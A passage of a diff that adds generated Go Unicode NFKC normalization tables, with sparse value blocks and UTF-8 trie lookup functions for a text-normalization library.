0x8100, lo: 0xb4, hi: 0xb4}, + {value: 0x8100, lo: 0xb6, hi: 0xbf}, + // Block 0x6c, offset 0x218 + {value: 0x0000, lo: 0x01}, + {value: 0x8100, lo: 0x81, hi: 0x8c}, + // Block 0x6d, offset 0x21a + {value: 0x0000, lo: 0x01}, + {value: 0x8100, lo: 0xb5, hi: 0xba}, + // Block 0x6e, offset 0x21c + {value: 0x0000, lo: 0x04}, + {value: 0x4be0, lo: 0x9e, hi: 0x9f}, + {value: 0x4be0, lo: 0xa3, hi: 0xa3}, + {value: 0x4be0, lo: 0xa5, hi: 0xa6}, + {value: 0x4be0, lo: 0xaa, hi: 0xaf}, + // Block 0x6f, offset 0x221 + {value: 0x0000, lo: 0x05}, + {value: 0x4be0, lo: 0x82, hi: 0x87}, + {value: 0x4be0, lo: 0x8a, hi: 0x8f}, + {value: 0x4be0, lo: 0x92, hi: 0x97}, + {value: 0x4be0, lo: 0x9a, hi: 0x9c}, + {value: 0x8100, lo: 0xa3, hi: 0xa3}, + // Block 0x70, offset 0x227 + {value: 0x0000, lo: 0x01}, + {value: 0x812e, lo: 0xbd, hi: 0xbd}, + // Block 0x71, offset 0x229 + {value: 0x0000, lo: 0x01}, + {value: 0x812e, lo: 0xa0, hi: 0xa0}, + // Block 0x72, offset 0x22b + {value: 0x0000, lo: 0x01}, + {value: 0x8133, lo: 0xb6, hi: 0xba}, + // Block 0x73, offset 0x22d + {value: 0x002d, lo: 0x05}, + {value: 0x812e, lo: 0x8d, hi: 0x8d}, + {value: 0x8133, lo: 0x8f, hi: 0x8f}, + {value: 0x8133, lo: 0xb8, hi: 0xb8}, + {value: 0x8101, lo: 0xb9, hi: 0xba}, + {value: 0x8105, lo: 0xbf, hi: 0xbf}, + // Block 0x74, offset 0x233 + {value: 0x0000, lo: 0x02}, + {value: 0x8133, lo: 0xa5, hi: 0xa5}, + {value: 0x812e, lo: 0xa6, hi: 0xa6}, + // Block 0x75, offset 0x236 + {value: 0x0000, lo: 0x01}, + {value: 0x8133, lo: 0xa4, hi: 0xa7}, + // Block 0x76, offset 0x238 + {value: 0x0000, lo: 0x01}, + {value: 0x8133, lo: 0xab, hi: 0xac}, + // Block 0x77, offset 0x23a + {value: 0x0000, lo: 0x01}, + {value: 0x812e, lo: 0xbd, hi: 0xbf}, + // Block 0x78, offset 0x23c + {value: 0x0000, lo: 0x05}, + {value: 0x812e, lo: 0x86, hi: 0x87}, + {value: 0x8133, lo: 0x88, hi: 0x8a}, + {value: 0x812e, lo: 0x8b, hi: 0x8b}, + {value: 0x8133, lo: 0x8c, hi: 0x8c}, + {value: 0x812e, lo: 0x8d, hi: 0x90}, + // Block 0x79, offset 0x242 + {value: 0x0005, lo: 0x03}, + {value: 0x8133, lo: 0x82, hi: 0x82}, + {value: 0x812e, lo: 0x83, hi: 0x84}, + {value: 0x812e, lo: 0x85, hi: 0x85}, + // Block 0x7a, offset 0x246 + {value: 0x0000, lo: 0x03}, + {value: 0x8105, lo: 0x86, hi: 0x86}, + {value: 0x8105, lo: 0xb0, hi: 0xb0}, + {value: 0x8105, lo: 0xbf, hi: 0xbf}, + // Block 0x7b, offset 0x24a + {value: 0x17fe, lo: 0x07}, + {value: 0xa000, lo: 0x99, hi: 0x99}, + {value: 0x4379, lo: 0x9a, hi: 0x9a}, + {value: 0xa000, lo: 0x9b, hi: 0x9b}, + {value: 0x4383, lo: 0x9c, hi: 0x9c}, + {value: 0xa000, lo: 0xa5, hi: 0xa5}, + {value: 0x438d, lo: 0xab, hi: 0xab}, + {value: 0x8105, lo: 0xb9, hi: 0xba}, + // Block 0x7c, offset 0x252 + {value: 0x0000, lo: 0x06}, + {value: 0x8133, lo: 0x80, hi: 0x82}, + {value: 0x9900, lo: 0xa7, hi: 0xa7}, + {value: 0x2eb5, lo: 0xae, hi: 0xae}, + {value: 0x2ebf, lo: 0xaf, hi: 0xaf}, + {value: 0xa000, lo: 0xb1, hi: 0xb2}, + {value: 0x8105, lo: 0xb3, hi: 0xb4}, + // Block 0x7d, offset 0x259 + {value: 0x0000, lo: 0x02}, + {value: 0x8105, lo: 0x80, hi: 0x80}, + {value: 0x8103, lo: 0x8a, hi: 0x8a}, + // Block 0x7e, offset 0x25c + {value: 0x0000, lo: 0x02}, + {value: 0x8105, lo: 0xb5, hi: 0xb5}, + {value: 0x8103, lo: 0xb6, hi: 0xb6}, + // Block 0x7f, offset 0x25f + {value: 0x0002, lo: 0x01}, + {value: 0x8103, lo: 0xa9, hi: 0xaa}, + // Block 0x80, offset 0x261 + {value: 0x0000, lo: 0x02}, + {value: 0x8103, lo: 0xbb, hi: 0xbc}, + {value: 0x9900, lo: 0xbe, hi: 0xbe}, + // Block 0x81, offset 0x264 + {value: 0x0000, lo: 0x07}, + {value: 0xa000, lo: 0x87, hi: 0x87}, + {value: 0x2ec9, lo: 0x8b, hi: 0x8b}, + {value: 0x2ed3, lo: 0x8c, hi: 0x8c}, + {value: 0x8105, lo: 0x8d, hi: 0x8d}, + {value: 0x9900, lo: 0x97, hi: 0x97}, + {value: 0x8133, lo: 0xa6, hi: 0xac}, + {value: 0x8133, lo: 0xb0, hi: 0xb4}, + // Block 0x82, offset 0x26c + {value: 0x0000, lo: 0x03}, + {value: 0x8105, lo: 0x82, hi: 0x82}, + {value: 0x8103, lo: 0x86, hi: 0x86}, + {value: 0x8133, lo: 0x9e, hi: 0x9e}, + // Block 0x83, offset 0x270 + {value: 0x6a23, lo: 0x06}, + {value: 0x9900, lo: 0xb0, hi: 0xb0}, + {value: 0xa000, lo: 0xb9, hi: 0xb9}, + {value: 0x9900, lo: 0xba, hi: 0xba}, + {value: 0x2ee7, lo: 0xbb, hi: 0xbb}, + {value: 0x2edd, lo: 0xbc, hi: 0xbd}, + {value: 0x2ef1, lo: 0xbe, hi: 0xbe}, + // Block 0x84, offset 0x277 + {value: 0x0000, lo: 0x02}, + {value: 0x8105, lo: 0x82, hi: 0x82}, + {value: 0x8103, lo: 0x83, hi: 0x83}, + // Block 0x85, offset 0x27a + {value: 0x0000, lo: 0x05}, + {value: 0x9900, lo: 0xaf, hi: 0xaf}, + {value: 0xa000, lo: 0xb8, hi: 0xb9}, + {value: 0x2efb, lo: 0xba, hi: 0xba}, + {value: 0x2f05, lo: 0xbb, hi: 0xbb}, + {value: 0x8105, lo: 0xbf, hi: 0xbf}, + // Block 0x86, offset 0x280 + {value: 0x0000, lo: 0x01}, + {value: 0x8103, lo: 0x80, hi: 0x80}, + // Block 0x87, offset 0x282 + {value: 0x0000, lo: 0x02}, + {value: 0x8105, lo: 0xb6, hi: 0xb6}, + {value: 0x8103, lo: 0xb7, hi: 0xb7}, + // Block 0x88, offset 0x285 + {value: 0x0000, lo: 0x01}, + {value: 0x8105, lo: 0xab, hi: 0xab}, + // Block 0x89, offset 0x287 + {value: 0x0000, lo: 0x02}, + {value: 0x8105, lo: 0xb9, hi: 0xb9}, + {value: 0x8103, lo: 0xba, hi: 0xba}, + // Block 0x8a, offset 0x28a + {value: 0x0000, lo: 0x04}, + {value: 0x9900, lo: 0xb0, hi: 0xb0}, + {value: 0xa000, lo: 0xb5, hi: 0xb5}, + {value: 0x2f0f, lo: 0xb8, hi: 0xb8}, + {value: 0x8105, lo: 0xbd, hi: 0xbe}, + // Block 0x8b, offset 0x28f + {value: 0x0000, lo: 0x01}, + {value: 0x8103, lo: 0x83, hi: 0x83}, + // Block 0x8c, offset 0x291 + {value: 0x0000, lo: 0x01}, + {value: 0x8105, lo: 0xa0, hi: 0xa0}, + // Block 0x8d, offset 0x293 + {value: 0x0000, lo: 0x01}, + {value: 0x8105, lo: 0xb4, hi: 0xb4}, + // Block 0x8e, offset 0x295 + {value: 0x0000, lo: 0x01}, + {value: 0x8105, lo: 0x87, hi: 0x87}, + // Block 0x8f, offset 0x297 + {value: 0x0000, lo: 0x01}, + {value: 0x8105, lo: 0x99, hi: 0x99}, + // Block 0x90, offset 0x299 + {value: 0x0000, lo: 0x02}, + {value: 0x8103, lo: 0x82, hi: 0x82}, + {value: 0x8105, lo: 0x84, hi: 0x85}, + // Block 0x91, offset 0x29c + {value: 0x0000, lo: 0x01}, + {value: 0x8105, lo: 0x97, hi: 0x97}, + // Block 0x92, offset 0x29e + {value: 0x0000, lo: 0x01}, + {value: 0x8105, lo: 0x81, hi: 0x82}, + // Block 0x93, offset 0x2a0 + {value: 0x0000, lo: 0x01}, + {value: 0x8101, lo: 0xb0, hi: 0xb4}, + // Block 0x94, offset 0x2a2 + {value: 0x0000, lo: 0x01}, + {value: 0x8133, lo: 0xb0, hi: 0xb6}, + // Block 0x95, offset 0x2a4 + {value: 0x0000, lo: 0x01}, + {value: 0x8102, lo: 0xb0, hi: 0xb1}, + // Block 0x96, offset 0x2a6 + {value: 0x0000, lo: 0x01}, + {value: 0x8101, lo: 0x9e, hi: 0x9e}, + // Block 0x97, offset 0x2a8 + {value: 0x0000, lo: 0x0c}, + {value: 0x470d, lo: 0x9e, hi: 0x9e}, + {value: 0x4717, lo: 0x9f, hi: 0x9f}, + {value: 0x474b, lo: 0xa0, hi: 0xa0}, + {value: 0x4759, lo: 0xa1, hi: 0xa1}, + {value: 0x4767, lo: 0xa2, hi: 0xa2}, + {value: 0x4775, lo: 0xa3, hi: 0xa3}, + {value: 0x4783, lo: 0xa4, hi: 0xa4}, + {value: 0x812c, lo: 0xa5, hi: 0xa6}, + {value: 0x8101, lo: 0xa7, hi: 0xa9}, + {value: 0x8131, lo: 0xad, hi: 0xad}, + {value: 0x812c, lo: 0xae, hi: 0xb2}, + {value: 0x812e, lo: 0xbb, hi: 0xbf}, + // Block 0x98, offset 0x2b5 + {value: 0x0000, lo: 0x09}, + {value: 0x812e, lo: 0x80, hi: 0x82}, + {value: 0x8133, lo: 0x85, hi: 0x89}, + {value: 0x812e, lo: 0x8a, hi: 0x8b}, + {value: 0x8133, lo: 0xaa, hi: 0xad}, + {value: 0x4721, lo: 0xbb, hi: 0xbb}, + {value: 0x472b, lo: 0xbc, hi: 0xbc}, + {value: 0x4791, lo: 0xbd, hi: 0xbd}, + {value: 0x47ad, lo: 0xbe, hi: 0xbe}, + {value: 0x479f, lo: 0xbf, hi: 0xbf}, + // Block 0x99, offset 0x2bf + {value: 0x0000, lo: 0x01}, + {value: 0x47bb, lo: 0x80, hi: 0x80}, + // Block 0x9a, offset 0x2c1 + {value: 0x0000, lo: 0x01}, + {value: 0x8133, lo: 0x82, hi: 0x84}, + // Block 0x9b, offset 0x2c3 + {value: 0x0000, lo: 0x05}, + {value: 0x8133, lo: 0x80, hi: 0x86}, + {value: 0x8133, lo: 0x88, hi: 0x98}, + {value: 0x8133, lo: 0x9b, hi: 0xa1}, + {value: 0x8133, lo: 0xa3, hi: 0xa4}, + {value: 0x8133, lo: 0xa6, hi: 0xaa}, + // Block 0x9c, offset 0x2c9 + {value: 0x0000, lo: 0x01}, + {value: 0x8133, lo: 0x8f, hi: 0x8f}, + // Block 0x9d, offset 0x2cb + {value: 0x0000, lo: 0x01}, + {value: 0x8133, lo: 0xae, hi: 0xae}, + // Block 0x9e, offset 0x2cd + {value: 0x0000, lo: 0x01}, + {value: 0x8133, lo: 0xac, hi: 0xaf}, + // Block 0x9f, offset 0x2cf + {value: 0x0000, lo: 0x03}, + {value: 0x8134, lo: 0xac, hi: 0xad}, + {value: 0x812e, lo: 0xae, hi: 0xae}, + {value: 0x8133, lo: 0xaf, hi: 0xaf}, + // Block 0xa0, offset 0x2d3 + {value: 0x0000, lo: 0x01}, + {value: 0x812e, lo: 0x90, hi: 0x96}, + // Block 0xa1, offset 0x2d5 + {value: 0x0000, lo: 0x02}, + {value: 0x8133, lo: 0x84, hi: 0x89}, + {value: 0x8103, lo: 0x8a, hi: 0x8a}, + // Block 0xa2, offset 0x2d8 + {value: 0x0000, lo: 0x01}, + {value: 0x8100, lo: 0x93, hi: 0x93}, +} + +// lookup returns the trie value for the first UTF-8 encoding in s and +// the width in bytes of this encoding. The size will be 0 if s does not +// hold enough bytes to complete the encoding. len(s) must be greater than 0. +func (t *nfkcTrie) lookup(s []byte) (v uint16, sz int) { + c0 := s[0] + switch { + case c0 < 0x80: // is ASCII + return nfkcValues[c0], 1 + case c0 < 0xC2: + return 0, 1 // Illegal UTF-8: not a starter, not ASCII. + case c0 < 0xE0: // 2-byte UTF-8 + if len(s) < 2 { + return 0, 0 + } + i := nfkcIndex[c0] + c1 := s[1] + if c1 < 0x80 || 0xC0 <= c1 { + return 0, 1 // Illegal UTF-8: not a continuation byte. + } + return t.lookupValue(uint32(i), c1), 2 + case c0 < 0xF0: // 3-byte UTF-8 + if len(s) < 3 { + return 0, 0 + } + i := nfkcIndex[c0] + c1 := s[1] + if c1 < 0x80 || 0xC0 <= c1 { + return 0, 1 // Illegal UTF-8: not a continuation byte. + } + o := uint32(i)<<6 + uint32(c1) + i = nfkcIndex[o] + c2 := s[2] + if c2 < 0x80 || 0xC0 <= c2 { + return 0, 2 // Illegal UTF-8: not a continuation byte. + } + return t.lookupValue(uint32(i), c2), 3 + case c0 < 0xF8: // 4-byte UTF-8 + if len(s) < 4 { + return 0, 0 + } + i := nfkcIndex[c0] + c1 := s[1] + if c1 < 0x80 || 0xC0 <= c1 { + return 0, 1 // Illegal UTF-8: not a continuation byte. + } + o := uint32(i)<<6 + uint32(c1) + i = nfkcIndex[o] + c2 := s[2] + if c2 < 0x80 || 0xC0 <= c2 { + return 0, 2 // Illegal UTF-8: not a continuation byte. + } + o = uint32(i)<<6 + uint32(c2) + i = nfkcIndex[o] + c3 := s[3] + if c3 < 0x80 || 0xC0 <= c3 { + return 0, 3 // Illegal UTF-8: not a continuation byte. + } + return t.lookupValue(uint32(i), c3), 4 + } + // Illegal rune + return 0, 1 +} + +// lookupUnsafe returns the trie value for the first UTF-8 encoding in s. +// s must start with a full and valid UTF-8 encoded rune. +func (t *nfkcTrie) lookupUnsafe(s []byte) uint16 { + c0 := s[0] + if c0 < 0x80 { // is ASCII + return nfkcValues[c0] + } + i := nfkcIndex[c0] + if c0 < 0xE0 { // 2-byte UTF-8 + return t.lookupValue(uint32(i), s[1]) + } + i = nfkcIndex[uint32(i)<<6+uint32(s[1])] + if c0 < 0xF0 { // 3-byte UTF-8 + return t.lookupValue(uint32(i), s[2]) + } + i = nfkcIndex[uint32(i)<<6+uint32(s[2])] + if c0 < 0xF8 { // 4-byte UTF-8 + return t.lookupValue(uint32(i), s[3]) + } + return 0 +} + +// lookupString returns the trie value for the first UTF-8 encoding in s and +// the width in bytes of this encoding. The size will be 0 if s does not +// hold enough bytes to complete the encoding. len(s) must be greater than 0. +func (t *nfkcTrie) lookupString(s string) (v uint16, sz int) { + c0 := s[0] + switch { + case c0 < 0x80: // is ASCII + return nfkcValues[c0], 1 + case c0 < 0xC2: + return 0, 1 // Illegal UTF-8: not a starter, not ASCII. + case c0 < 0xE0: // 2-byte UTF-8 + if len(s) < 2 { + return 0, 0 + } + i := nfkcIndex[c0] + c1 := s[1] + if c1 < 0x80 || 0xC0 <= c1 { + return 0, 1 // Illegal UTF-8: not a continuation byte. + } + return t.lookupValue(uint32(i), c1), 2 + case c0 < 0xF0: // 3-byte UTF-8 + if len(s) < 3 { + return 0, 0 + } + i := nfkcIndex[c0] + c1 := s[1] + if c1 < 0x80 || 0xC0 <= c1 { + return 0, 1 // Illegal UTF-8: not a continuation byte. + } + o := uint32(i)<<6 + uint32(c1) + i = nfkcIndex[o] + c2 := s[2] + if c2 < 0x80 || 0xC0 <= c2 { + return 0, 2 // Illegal UTF-8: not a continuation byte. + } + return t.lookupValue(uint32(i), c2), 3 + case c0 < 0xF8: // 4-byte UTF-8 + if len(s) < 4 { + return 0, 0 + } + i := nfkcIndex[c0] + c1 := s[1] + if c1 < 0x80 || 0xC0 <= c1 { + return 0, 1 // Illegal UTF-8: not a continuation byte. + } + o := uint32(i)<<6 + uint32(c1) + i = nfkcIndex[o] + c2 := s[2] + if c2 < 0x80 || 0xC0 <= c2 { + return 0, 2 // Illegal UTF-8: not a continuation byte. + } + o = uint32(i)<<6 + uint32(c2) + i = nfkcIndex[o] + c3 := s[3] + if c3 < 0x80 || 0xC0 <= c3 { + return 0, 3 // Illegal UTF-8: not a continuation byte. + } + return t.lookupValue(uint32(i), c3), 4 + } + // Illegal rune + return 0, 1 +} + +// lookupStringUnsafe returns the trie value for the first UTF-8 encoding in s. +// s must start with a full and valid UTF-8 encoded rune. +func (t *nfkcTrie) lookupStringUnsafe(s string) uint16 { + c0 := s[0] + if c0 < 0x80 { // is ASCII + return nfkcValues[c0] + } + i := nfkcIndex[c0] + if c0 < 0xE0 { // 2-byte UTF-8 + return t.lookupValue(uint32(i), s[1]) + } + i = nfkcIndex[uint32(i)<<6+uint32(s[1])] + if c0 < 0xF0 { // 3-byte UTF-8 + return t.lookupValue(uint32(i), s[2]) + } + i = nfkcIndex[uint32(i)<<6+uint32(s[2])] + if c0 < 0xF8 { // 4-byte UTF-8 + return t.lookupValue(uint32(i), s[3]) + } + return 0 +} + +// nfkcTrie. Total size: 19260 bytes (18.81 KiB). Checksum: 1a0bbc4c8c24da49. +type nfkcTrie struct{} + +func newNfkcTrie(i int) *nfkcTrie { + return &nfkcTrie{} +} + +// lookupValue determines the type of block n and looks up the value for b. +func (t *nfkcTrie) lookupValue(n uint32, b byte) uint16 { + switch { + case n < 95: + return uint16(nfkcValues[n<<6+uint32(b)]) + default: + n -= 95 + return uint16(nfkcSparse.lookup(n, b)) + } +} + +// nfkcValues: 97 blocks, 6208 entries, 12416 bytes +// The third block is the zero block. +var nfkcValues = [6208]uint16{ + // Block 0x0, offset 0x0 + 0x3c: 0xa000, 0x3d: 0xa000, 0x3e: 0xa000, + // Block 0x1, offset 0x40 + 0x41: 0xa000, 0x42: 0xa000, 0x43: 0xa000, 0x44: 0xa000, 0x45: 0xa000, + 0x46: 0xa000, 0x47: 0xa000, 0x48: 0xa000, 0x49: 0xa000, 0x4a: 0xa000, 0x4b: 0xa000, + 0x4c: 0xa000, 0x4d: 0xa000, 0x4e: 0xa000, 0x4f: 0xa000, 0x50: 0xa000, + 0x52: 0xa000, 0x53: 0xa000, 0x54: 0xa000, 0x55: 0xa000, 0x56: 0xa000, 0x57: 0xa000, + 0x58: 0xa000, 0x59: 0xa000, 0x5a: 0xa000, + 0x61: 0xa000, 0x62: 0xa000, 0x63: 0xa000, + 0x64: 0xa000, 0x65: 0xa000, 0x66: 0xa000, 0x67: 0xa000, 0x68: 0xa000, 0x69: 0xa000, + 0x6a: 0xa000, 0x6b: 0xa000, 0x6c: 0xa000, 0x6d: 0xa000, 0x6e: 0xa000, 0x6f: 0xa000, + 0x70: 0xa000, 0x72: 0xa000, 0x73: 0xa000, 0x74: 0xa000, 0x75: 0xa000, + 0x76: 0xa000, 0x77: 0xa000, 0x78: 0xa000, 0x79: 0xa000, 0x7a: 0xa000, + // Block 0x2, offset 0x80 + // Block 0x3, offset 0xc0 + 0xc0: 0x30b0, 0xc1: 0x30b5, 0xc2: 0x47c9, 0xc3: 0x30ba, 0xc4: 0x47d8, 0xc5: 0x47dd, + 0xc6: 0xa000, 0xc7: 0x47e7, 0xc8: 0x3123, 0xc9: 0x3128, 0xca: 0x47ec, 0xcb: 0x313c, + 0xcc: 0x31af, 0xcd: 0x31b4, 0xce: 0x31b9, 0xcf: 0x4800, 0xd1: 0x3245, + 0xd2: 0x3268, 0xd3: 0x326d, 0xd4: 0x480a, 0xd5: 0x480f, 0xd6: 0x481e, + 0xd8: 0xa000, 0xd9: 0x32f4, 0xda: 0x32f9, 0xdb: 0x32fe, 0xdc: 0x4850, 0xdd: 0x3376, + 0xe0: 0x33bc, 0xe1: 0x33c1, 0xe2: 0x485a, 0xe3: 0x33c6, + 0xe4: 0x4869, 0xe5: 0x486e, 0xe6: 0xa000, 0xe7: 0x4878, 0xe8: 0x342f, 0xe9: 0x3434, + 0xea: 0x487d, 0xeb: 0x3448, 0xec: 0x34c0, 0xed: 0x34c5, 0xee: 0x34ca, 0xef: 0x4891, + 0xf1: 0x3556, 0xf2: 0x3579, 0xf3: 0x357e, 0xf4: 0x489b, 0xf5: 0x48a0, + 0xf6: 0x48af, 0xf8: 0xa000, 0xf9: 0x360a, 0xfa: 0x360f, 0xfb: 0x3614, + 0xfc: 0x48e1, 0xfd: 0x3691, 0xff: 0x36aa, + // Block 0x4, offset 0x100 + 0x100: 0x30bf, 0x101: 0x33cb, 0x102: 0x47ce, 0x103: 0x485f, 0x104: 0x30dd, 0x105: 0x33e9, + 0x106: 0x30f1, 0x107: 0x33fd, 0x108: 0x30f6, 0x109: 0x3402, 0x10a: 0x30fb, 0x10b: 0x3407, + 0x10c: 0x3100, 0x10d: 0x340c, 0x10e: 0x310a, 0x10f: 0x3416, + 0x112: 0x47f1, 0x113: 0x4882, 0x114: 0x3132, 0x115: 0x343e, 0x116: 0x3137, 0x117: 0x3443, + 0x118: 0x3155, 0x119: 0x3461, 0x11a: 0x3146, 0x11b: 0x3452, 0x11c: 0x316e, 0x11d: 0x347a, + 0x11e: 0x3178, 0x11f: 0x3484, 0x120: 0x317d, 0x121: 0x3489, 0x122: 0x3187, 0x123: 0x3493, + 0x124: 0x318c, 0x125: 0x3498, 0x128: 0x31be, 0x129: 0x34cf, + 0x12a: 0x31c3, 0x12b: 0x34d4, 0x12c: 0x31c8, 0x12d: 0x34d9, 0x12e: 0x31eb, 0x12f: 0x34f7, + 0x130: 0x31cd, 0x132: 0x1a8a, 0x133: 0x1b17, 0x134: 0x31f5, 0x135: 0x3501, + 0x136: 0x3209, 0x137: 0x351a, 0x139: 0x3213, 0x13a: 0x3524, 0x13b: 0x321d, + 0x13c: 0x352e, 0x13d: 0x3218, 0x13e: 0x3529, 0x13f: 0x1cdc, + // Block 0x5, offset 0x140 + 0x140: 0x1d64, 0x143: 0x3240, 0x144: 0x3551, 0x145: 0x3259, + 0x146: 0x356a, 0x147: 0x324f, 0x148: 0x3560, 0x149: 0x1d8c, + 0x14c: 0x4814, 0x14d: 0x48a5, 0x14e: 0x3272, 0x14f: 0x3583, 0x150: 0x327c, 0x151: 0x358d, + 0x154: 0x329a, 0x155: 0x35ab, 0x156: 0x32b3, 0x157: 0x35c4, + 0x158: 0x32a4, 0x159: 0x35b5, 0x15a: 0x4837, 0x15b: 0x48c8, 0x15c: 0x32bd, 0x15d: 0x35ce, + 0x15e: 0x32cc, 0x15f: 0x35dd, 0x160: 0x483c, 0x161: 0x48cd, 0x162: 0x32e5, 0x163: 0x35fb, + 0x164: 0x32d6, 0x165: 0x35ec, 0x168: 0x4846, 0x169: 0x48d7, + 0x16a: 0x484b, 0x16b: 0x48dc, 0x16c: 0x3303, 0x16d: 0x3619, 0x16e: 0x330d, 0x16f: 0x3623, + 0x170: 0x3312, 0x171: 0x3628, 0x172: 0x3330, 0x173: 0x3646, 0x174: 0x3353, 0x175: 0x3669, + 0x176: 0x337b, 0x177: 0x3696, 0x178: 0x338f, 0x179: 0x339e, 0x17a: 0x36be, 0x17b: 0x33a8, + 0x17c: 0x36c8, 0x17d: 0x33ad, 0x17e: 0x36cd, 0x17f: 0x00a7, + // Block 0x6, offset 0x180 + 0x184: 0x2f2f, 0x185: 0x2f35, + 0x186: 0x2f3b, 0x187: 0x1a9f, 0x188: 0x1aa2, 0x189: 0x1b38, 0x18a: 0x1ab7, 0x18b: 0x1aba, + 0x18c: 0x1b6e, 0x18d: 0x30c9, 0x18e: 0x33d5, 0x18f: 0x31d7, 0x190: 0x34e3, 0x191: 0x3281, + 0x192: 0x3592, 0x193: 0x3317, 0x194: 0x362d, 0x195: 0x3b10, 0x196: 0x3c9f, 0x197: 0x3b09, + 0x198: 0x3c98, 0x199: 0x3b17, 0x19a: 0x3ca6, 0x19b: 0x3b02, 0x19c: 0x3c91, + 0x19e: 0x39f1, 0x19f: 0x3b80, 0x1a0: 0x39ea, 0x1a1: 0x3b79, 0x1a2: 0x36f4, 0x1a3: 0x3706, + 0x1a6: 0x3182, 0x1a7: 0x348e, 0x1a8: 0x31ff, 0x1a9: 0x3510, + 0x1aa: 0x482d, 0x1ab: 0x48be, 0x1ac: 0x3ad1, 0x1ad: 0x3c60, 0x1ae: 0x3718, 0x1af: 0x371e, + 0x1b0: 0x3506, 0x1b1: 0x1a6f, 0x1b2: 0x1a72, 0x1b3: 0x1aff, 0x1b4: 0x3169, 0x1b5: 0x3475, + 0x1b8: 0x323b, 0x1b9: 0x354c, 0x1ba: 0x39f8, 0x1bb: 0x3b87, + 0x1bc: 0x36ee, 0x1bd: 0x3700, 0x1be: 0x36fa, 0x1bf: 0x370c, + // Block 0x7, offset 0x1c0 + 0x1c0: 0x30ce, 0x1c1: 0x33da, 0x1c2: 0x30d3, 0x1c3: 0x33df, 0x1c4: 0x314b, 0x1c5: 0x3457, + 0x1c6: 0x3150, 0x1c7: 0x345c, 0x1c8: 0x31dc, 0x1c9: 0x34e8, 0x1ca: 0x31e1, 0x1cb: 0x34ed, + 0x1cc: 0x3286, 0x1cd: 0x3597, 0x1ce: 0x328b, 0x1cf: 0x359c, 0x1d0: 0x32a9, 0x1d1: 0x35ba, + 0x1d2: 0x32ae, 0x1d3: 0x35bf, 0x1d4: 0x331c, 0x1d5: 0x3632, 0x1d6: 0x3321, 0x1d7: 0x3637, + 0x1d8: 0x32c7, 0x1d9: 0x35d8, 0x1da: 0x32e0, 0x1db: 0x35f6, + 0x1de: 0x319b, 0x1df: 0x34a7, + 0x1e6: 0x47d3, 0x1e7: 0x4864, 0x1e8: 0x47fb, 0x1e9: 0x488c, + 0x1ea: 0x3aa0, 0x1eb: 0x3c2f, 0x1ec: 0x3a7d, 0x1ed: 0x3c0c, 0x1ee: 0x4819, 0x1ef: 0x48aa, + 0x1f0: 0x3a99, 0x1f1: 0x3c28, 0x1f2: 0x3385, 0x1f3: 0x36a0, + // Block 0x8, offset 0x200 + 0x200: 0x9933, 0x201: 0x9933, 0x202: 0x9933, 0x203: 0x9933, 0x204: 0x9933, 0x205: 0x8133, + 0x206: 0x9933, 0x207: 0x9933, 0x208: 0x9933, 0x209: 0x9933, 0x20a: 0x9933, 0x20b: 0x9933, + 0x20c: 0x9933, 0x20d: 0x8133, 0x20e: 0x8133, 0x20f: 0x9933, 0x210: 0x8133, 0x211: 0x9933, + 0x212: 0x8133, 0x213: 0x9933, 0x214: 0x9933, 0x215: 0x8134, 0x216: 0x812e, 0x217: 0x812e, + 0x218: 0x812e, 0x219: 0x812e, 0x21a: 0x8134, 0x21b: 0x992c, 0x21c: 0x812e, 0x21d: 0x812e, + 0x21e: 0x812e, 0x21f: 0x812e, 0x220: 0x812e, 0x221: 0x812a, 0x222: 0x812a, 0x223: 0x992e, + 0x224: 0x992e, 0x225: 0x992e, 0x226: 0x992e, 0x227: 0x992a, 0x228: 0x992a, 0x229: 0x812e, + 0x22a: 0x812e, 0x22b: 0x812e, 0x22c: 0x812e, 0x22d: 0x992e, 0x22e: 0x992e, 0x22f: 0x812e, + 0x230: 0x992e, 0x231: 0x992e, 0x232: 0x812e, 0x233: 0x812e, 0x234: 0x8101, 0x235: 0x8101, + 0x236: 0x8101, 0x237: 0x8101, 0x238: 0x9901, 0x239: 0x812e, 0x23a: 0x812e, 0x23b: 0x812e, + 0x23c: 0x812e, 0x23d: 0x8133, 0x23e: 0x8133, 0x23f: 0x8133, + // Block 0x9, offset 0x240 + 0x240: 0x4aef, 0x241: 0x4af4, 0x242: 0x9933, 0x243: 0x4af9, 0x244: 0x4bb2, 0x245: 0x9937, + 0x246: 0x8133, 0x247: 0x812e, 0x248: 0x812e, 0x249: 0x812e, 0x24a: 0x8133, 0x24b: 0x8133, + 0x24c: 0x8133, 0x24d: 0x812e, 0x24e: 0x812e, 0x250: 0x8133, 0x251: 0x8133, + 0x252: 0x8133, 0x253: 0x812e, 0x254: 0x812e, 0x255: 0x812e, 0x256: 0x812e, 0x257: 0x8133, + 0x258: 0x8134, 0x259: 0x812e, 0x25a: 0x812e, 0x25b: 0x8133, 0x25c: 0x8135, 0x25d: 0x8136, + 0x25e: 0x8136, 0x25f: 0x8135, 0x260: 0x8136, 0x261: 0x8136, 0x262: 0x8135, 0x263: 0x8133, + 0x264: 0x8133, 0x265: 0x8133, 0x266: 0x8133, 0x267: 0x8133, 0x268: 0x8133, 0x269: 0x8133, + 0x26a: 0x8133, 0x26b: 0x8133, 0x26c: 0x8133, 0x26d: 0x8133, 0x26e: 0x8133, 0x26f: 0x8133, + 0x274: 0x01ee, + 0x27a: 0x43e6, + 0x27e: 0x0037, + // Block 0xa, offset 0x280 + 0x284: 0x439b, 0x285: 0x45bc, + 0x286: 0x372a, 0x287: 0x00ce, 0x288: 0x3748, 0x289: 0x3754, 0x28a: 0x3766, + 0x28c: 0x3784, 0x28e: 0x3796, 0x28f: 0x37b4, 0x290: 0x3f49, 0x291: 0xa000, + 0x295: 0xa000, 0x297: 0xa000, + 0x299: 0xa000, + 0x29f: 0xa000, 0x2a1: 0xa000, + 0x2a5: 0xa000, 0x2a9: 0xa000, + 0x2aa: 0x3778, 0x2ab: 0x37a8, 0x2ac: 0x493f, 0x2ad: 0x37d8, 0x2ae: 0x4969, 0x2af: 0x37ea, + 0x2b0: 0x3fb1, 0x2b1: 0xa000, 0x2b5: 0xa000, + 0x2b7: 0xa000, 0x2b9: 0xa000, + 0x2bf: 0xa000, + // Block 0xb, offset 0x2c0 + 0x2c1: 0xa000, 0x2c5: 0xa000, + 0x2c9: 0xa000, 0x2ca: 0x4981, 0x2cb: 0x499f, + 0x2cc: 0x3808, 0x2cd: 0x3820, 0x2ce: 0x49b7, 0x2d0: 0x0242, 0x2d1: 0x0254, + 0x2d2: 0x0230, 0x2d3: 0x444d, 0x2d4: 0x4453, 0x2d5: 